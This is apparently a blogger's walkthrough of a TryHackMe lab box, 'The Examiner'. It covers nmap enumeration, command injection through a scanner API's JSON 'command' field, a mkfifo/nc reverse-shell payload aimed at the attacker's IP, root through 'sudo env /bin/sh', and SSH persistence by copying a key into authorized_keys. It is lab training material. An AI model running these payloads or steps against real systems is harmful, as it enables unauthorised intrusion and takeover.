ghostđź‘»sonofabot-sec:~#

I scan, I map, I exploit .... Ghost is in your shell!!!

View on GitHub

THE EXAMINER !!!

Screenshot_20220516_011333

This led us to TryHackMe, I got excited xD 🤤

Screenshot_20220516_014633

THE EXAMINER !!! Name sounded tough aye ? but it was pretty tricky yeah, Let’s Jump Right Into it!!!

ENUMERATION

First Things First We Enumerate Let’s know what port are open, what’s running and all that 100% of all the time you enumeration is the key to pwning a machine

**Let’s start with Nmap ** So I ran 3 scans

Screenshot_20220516_015241

So Yh Only A Single Port is Open and No UDP port Is Open

Initial FOothold

So I Tried curl on it to see if the http server will return anything, also some services use port 5000 as default HTTP Returned Some Source code

Screenshot_20220516_012408

So let’s go to an actual browser and see what’s up

Screenshot_20220516_021424

So yh Intercepting the request with burp (or zap) which ever you’re comfortable with Screenshot_20220516_022624 Screenshot_20220516_022834 Screenshot_20220516_022950

When I tried an IP I got nothing, after lot’s of trial and error I got it to return me response

Found out the IP parameter takes two strings:then any thing and it tells you if the port is open or closed But how does that help us ? Remember when we curl the site we got some Jscript and it said something about IP:Host and all

Screenshot_20220516_012447

curl -s 10.10.220.183:5000

So as you can see below we can execute commands on the machine

Screenshot_20220516_013414

$curl -X POST 10.10.220.183:5000/scan -H 'Content-Type: application/json' -d '{"ip":"aa:5000", "command": "whoami"}'

Set up a listener (rlwrap makes stabilization easier)

rlwrap nc -lvnp PORT

curl -X POST 10.10.220.183:5000/scan -H 'Content-Type: application/json' -d '{"ip":"aa:5000", "command": "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc your-attacking-machine-ip 4242 >/tmp/f"}'

Screenshot_20220516_013457

/usr/bin/script -qc /bin/bash /dev/null To get tty and fully stabilize shell

Privilege Escalation

We get our shell, now let’s escalate our privileges

We got root via sudo privilege escalation method

Screenshot_20220516_013657

Sudo -l We see we can run env as root so head over to gtfobin look for env and use the command for privilege escalaion sudo env /bin/sh

Yh we’re in after enumerating for all txt file and checking every user home directory we find nothing Viewing root user bash history we see some thing funny

Screenshot_20220516_013732

Reading it showed us ther was a flag in sshuser but it was deleted, at this point I nearly snapped cos WTF!!! I thought it was other users initially but on second thoughts I remembered THM resets the boxes and clears user modifications think of it like a rollback The name sshuser also was sus actually and when reading the bash history I saw somethings bout ssh

At this point, I went to the user su sshuser I’m root and root doesn’t need your permission to switch to any user !!!

Screenshot_20220516_031255

Screenshot_20220516_014035

So all that’s left is to create authorized_keys in the newly generated .ssh folder

cd .ssh

cp id_rsa.pub authorized_keys

ss -tulnp To view listening ports, If we find one that’s listening and it didn’t turn up in our scan we can port forward to the port this technique is mostly used to beat firewall and docker breakout sometimes

A wiseman once said, “Hackers don’t break in, We login” ssh -i id_rsa sshuser@localhost Screenshot_20220516_014136

And We Done That’s A Wrap !!! gif

Hit me up on Twitter if anything Isn’t clear



Back To Home